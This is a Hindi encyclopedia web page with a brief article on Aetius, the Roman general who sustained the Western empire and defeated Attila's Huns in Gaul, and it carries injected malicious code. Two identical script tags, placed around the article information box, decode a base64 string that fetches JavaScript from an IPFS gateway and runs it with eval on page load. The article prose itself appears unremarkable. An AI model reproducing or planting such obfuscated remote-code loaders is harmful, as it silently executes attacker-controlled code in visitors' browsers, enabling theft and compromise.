ईतियस

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
ईतियस
पुस्तक नाम हिन्दी विश्वकोश खण्ड 2
पृष्ठ संख्या 26
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक ओंकारनाथ उपाध्याय

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ईतियस रोमन जनरल जो पश्चिमी रोमन साम्राज्य के पतन के साथ पाँचवीं सदी ई. के मध्य मरा। ईतिहास रोमनेतर परिवार से आया था और धीरे धीरे अपनी योग्यता से जनरल बन गया। पहले वह गोथराज अलारिक के यहाँ अमानत बनकर रहा फिर हूणराज रूआस के यहाँ। उन्हीं का सैन्यसंगठन उनसे सीख उसने उन्हें परास्त भी किया। कुछ काल बाद उसे रोम के षड्यंत्रों का शिकार भी होना पड़ा, पर बाद में उसका दबदबा पश्चिमी साम्राज्य से खूब बढ़ा। उसने अपने सैन्य संचालन का परिचय भी गाल में अत्तिला और उसके हूणों को हराकर दिया। पश्चिमी रोमन साम्राज्य एक जमाने तक बहुत कुछ ईतियस के ही बाहुबल और बुद्धि पर टिका रहा था।


टीका टिप्पणी और संदर्भ